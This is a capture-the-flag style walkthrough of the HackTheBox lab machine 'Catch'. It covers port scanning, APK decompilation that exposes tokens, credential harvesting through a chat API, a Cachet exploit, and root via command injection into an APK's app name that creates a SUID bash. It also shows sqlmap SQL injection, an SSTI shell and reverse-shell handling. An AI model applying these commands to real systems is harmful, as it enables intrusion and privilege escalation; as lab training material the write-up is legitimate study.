Post

Catch

MACHINECatch
MACHINE CREATORMrR3boot
DIFFICULTYMedium
MACHINE IP10.10.11.150

So we first begin by performing an nmap scan to determine what ports are open and what services are running behind them.

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
➜  nmap -sC -sV -p- -T4 -Pn 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 05:13 EDT
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 9.92% done; ETC: 05:20 (0:06:21 remaining)
Nmap scan report for 10.10.11.150 (10.10.11.150)
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=c88528085e5ec0fb; Path=/; HttpOnly
|     Set-Cookie: _csrf=eNM5OBn3IEhwKnue3PJ4BZPV1ys6MTY2MDQ2ODgzNzI0ODA0MTU0NA; Path=/; Expires=Mon, 15 Aug 2022 09:20:37 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 14 Aug 2022 09:20:37 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=ffd1130283709436; Path=/; HttpOnly
|     Set-Cookie: _csrf=H4R1xjyAE3hKVX7M9Jxm9rlC4SE6MTY2MDQ2ODg0MzQxMDA4NDQzOQ; Path=/; Expires=Mon, 15 Aug 2022 09:20:43 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 14 Aug 2022 09:20:43 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3A99W9mXJMVC8tAHMpRsY_ojyki3XBHdob.axsuwD%2BtSMrJvrOiDJTxtWrM%2BN0yAg56Nb6QPAXFoys; Path=/; HttpOnly
|     Date: Sun, 14 Aug 2022 09:20:42 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3AAffyH3cWnfZrLhLb4bGlnLTaXMggKsGZ.eT4mDNgLJIL8mUowt9dOxJsUG438jayUfiwwC8B8UZ0; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sun, 14 Aug 2022 09:20:43 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 535.79 seconds

We see we have a webserver running on port 80. If we check it out, we find out that it belongs to catch global systems. The Signup, login, Teams & About us tabs were not clickable but on clicking the Download Now button, you are able to download an mobile application named catchv1.0.apk. We’ll dive into that later, for now lets proceed to check other ports.

image

There was also another webserver running on port 8000 that looks like an incident tracking system.

image

At the bottom, we see it has been powered by [Catchet](https://github.com/CachetHQ/Cachet). So i did a quick google search to better understand what it was and found out that it is actually an open source software used to track downtime and system outages.

I was a little curious about the tech stack behind it so i visited their github repo to find out. Might be useful later, i dunno 😅

image

We also have two tabs at the bottom, one for dashboar and another one to subscribe. The subscribe tab spit a 500 Internal server error. We also see a segment that states we might need to take note of the code provided.

image

On the Dashboard tab, we cant do much other than login. Registration has been disabled.

image

Moving on to the next port, we have Gitea running on port 3000.

Gitea is an open-source forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, wikis and code review. It supports self-hosting but also provides a free public first-party instance.

image

Poking around, we notice the registration function has also been disabled. Enumerating around, we dont find anything solid other than a user called root.

image

We also have a chat application running on port 5000 called Lets Chat. However, theres still nothing much to be done as we cannot create an account.

image

Reversing the APK

  • Apktool - A tool for reverse engineering 3rd party, closed, binary Android apps.
  • Jadx - Command line and GUI tools for producing Java source code from Android Dex and Apk files

Other tools i came across while researching that might be useful in future:

  • jarsigner - Java tool for signing JAR/APK files, that comes with the JDK.
  • zipalign - archive alignment tool, that comes with the Android SDK.
  • JD-GUI - To view java code.
  • dex2jar - Converts Android dex files to class/jar files.

Apktool

In this case , i decided to start with apktool to extract files from apk for static analysis as shown below.

java -jar apktool.jar decode catchv1.0.apk

image

You can then open the extracted files using your favourite editor…In this case, i’m using sublime.

Looking at the MainActivity.smali file, we get a potential VHOST we can add to our host file. https://status.catch.htb/.

I also came across tokens left behind by the developer in catchv1.0/res/values/strings.xml

String.xml file contains all the strings which will be used frequently in Android project.

image

image

TokenToken Value
slack_tokenxoxp-23984754863-2348975623103
gitea_tokenb87bfb6345ae72ed5ecdcee05bcb34c83806fbd0
lets_chat_tokenNjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==

Jadx-GUI

All you need to do is load the APK on the tool and it will decompile everything for you.

image

You can also get to view the Application signature

image

image

image

Since we have tokens, we can try see if they are valid. Starting with Gitea, we can check if the API Reference Guide is available by visiting /api/swagger as shown.

image

We get a blank page, but looking at the page content, we find another VHOST we need to add to our hosts file. (http://gitea.catch.htb:3000/)

Upon reloading, we now get the Gitea API reference.

image

1
2
➜  curl -X GET "http://gitea.catch.htb:3000/api/v1/user" -H "accept: application/json" -H 'Authorization: token b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0'
{"message":"token is required","url":"http://gitea.catch.htb:3000/api/swagger"}

Invalid Token

Moving on, we can test Lets Chat token by querying the API. As documented in their wiki, we can try list how many chat rooms are available by running:

1
curl -X GET http://10.10.11.150:5000/rooms -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -s | jq

image

We find we have 3 rooms. We can go a little further and display messages on the Cachet Updates and Maintenance room by specifying the room id as shown below

1
curl -X GET http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -s | jq | grep text

image

From the messages extracted, we get a set of credentials we can try using. We also have a second mention of the status.catch.htb we got earlier from reversing the apk.(Adding it to the host file and checking it out on the browser, it just shows the same site running on port 80)

john : E}V!mywu_69T4C}W

I tried logging into Lets Chat using the creds i found but got an alert saying my account has beeen locked.

image

TO BE CONTINUED

Lets try on catchet ![[Pasted image 20220814090925.png]]

![[Pasted image 20220814091144.png]]

![[Pasted image 20220814091337.png]]

![[Pasted image 20220814091849.png]]

https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/

1
2
sudo apt install redis-server -y
redis-server --protected-mode no

![[Pasted image 20220814093249.png]]

![[Pasted image 20220814094434.png]]

![[Pasted image 20220814155143.png]]

![[Pasted image 20220814155308.png]]

![[Pasted image 20220814155438.png]]

![[Pasted image 20220814103150.png]]

![[Pasted image 20220814103827.png]]

https://github.com/ambionics/phpggc

![[Pasted image 20220814113906.png]]

![[Pasted image 20220814153045.png]]

![[Pasted image 20220814153859.png]]

DBPASSWORD=s2#4Fg0%3! DB_USERNAME=will

Shell

![[Pasted image 20220814131154.png]]

1
2
3
4
5
6
7
8
9
will@catch:/tmp$ ./pspy64

//redacted
2022/08/14 17:16:01 CMD: UID=0    PID=186422 | /bin/sh -c /opt/mdm/verify.sh
2022/08/14 17:17:01 CMD: UID=0    PID=186460 | /bin/sh -c /opt/mdm/verify.sh
2022/08/14 17:18:01 CMD: UID=0    PID=186503 | /bin/sh -c /opt/mdm/verify.sh
2022/08/14 17:19:01 CMD: UID=0    PID=186503 | /bin/sh -c /opt/mdm/verify.sh
2022/08/14 17:20:01 CMD: UID=0    PID=186503 | /bin/sh -c /opt/mdm/verify.sh
2022/08/14 17:21:01 CMD: UID=0    PID=186503 | /bin/sh -c /opt/mdm/verify.sh

![[Pasted image 20220814132716.png]]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
	jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
	if [[ $? -eq 0 ]]; then
		echo '[+] Signature Check Passed'
	else
		echo '[!] Signature Check Failed. Invalid Certificate.'
		cleanup
		exit
	fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
	apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
	COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
	if [ -z "$COMPILE_SDK_VER" ]; then
		echo '[!] Failed to find target SDK version.'
		cleanup
		exit
	else
		if [ $COMPILE_SDK_VER -lt 18 ]; then
			echo "[!] APK Doesn't meet the requirements"
			cleanup
			exit
		fi
	fi
}

####################
# Basic App Checks #
####################

app_check() {
	APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
	echo $APP_NAME
	if [[ $APP_NAME == *"Catch"* ]]; then
		echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
		mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
	else
		echo "[!] App doesn't belong to Catch Global"
		cleanup
		exit
	fi
}


###########
# Cleanup #
###########

cleanup() {
	rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
	OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
	APK_NAME="$(openssl rand -hex 12).apk"
	if [[ -L "$IN_APK_NAME" ]]; then
		exit
	else
		mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
	fi
	sig_check $IN_FOLDER $APK_NAME
	comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
	app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

![[Pasted image 20220814132921.png]] ![[Pasted image 20220814140257.png]]

  1. Lets unpack the apk once more:

java -jar apktool.jar d -s catchv1.0.apk -o decompiled

![[Pasted image 20220814140339.png]]

  1. xs

decomp/res/values/strings.xml

Before ![[Pasted image 20220814140922.png]]

After ` Catch$(cp /bin/bash /tmp/oste; chmod 4777 /tmp/oste)` ![[Pasted image 20220814141050.png]]

  1. Rebuild

java -jar apktool.jar b decompiled -o catch.apk

![[Pasted image 20220814141535.png]]

  1. Transfer the app to sas

![[Pasted image 20220814143351.png]]

  1. Get root

![[Pasted image 20220814143501.png]]

Beyon Root

Twig SSTI

1
sqlmap -u "http://10.10.11.150:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --dbms=mysql -D cachet -T users -C api_key,username --dump --batch

![[Pasted image 20220814150842.png]]

![[Pasted image 20220814151434.png]]

![[Pasted image 20220814151528.png]]

![[Pasted image 20220814151610.png]]

1
curl "http://10.10.11.150:8000/api/v1/incidents" -H "X-Cachet-Token: 7GVCqTY5abrox48Nct8j" -d "visible=0&status=1&name=hackerman&template=oste"

where:

![[Pasted image 20220814152222.png]]

Shell and stabilise:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  nc -lnvp 8888
listening on [any] 8888 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.150] 40592
bash: cannot set terminal process group (26): Inappropriate ioctl for device
bash: no job control in this shell
www-data@364dbcc541cf:/var/www/html/Cachet/public$ which python3
which python3
www-data@364dbcc541cf:/var/www/html/Cachet/public$ which python
which python
www-data@364dbcc541cf:/var/www/html/Cachet/public$ which script
which script
/usr/bin/script
www-data@364dbcc541cf:/var/www/html/Cachet/public$ /usr/bin/script -qc /bin/bash /dev/null
<het/public$ /usr/bin/script -qc /bin/bash /dev/null
www-data@364dbcc541cf:/var/www/html/Cachet/public$ ^Z
[1]  + 367964 suspended  nc -lnvp 8888
➜  stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
rows 29
columns 166
➜  stty raw -echo;fg
[1]  + 367964 continued  nc -lnvp 8888

www-data@364dbcc541cf:/var/www/html/Cachet/public$ stty rows 29 cols 166
www-data@364dbcc541cf:/var/www/html/Cachet/public$ export TERM=xterm
www-data@364dbcc541cf:/var/www/html/Cachet/public$
This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.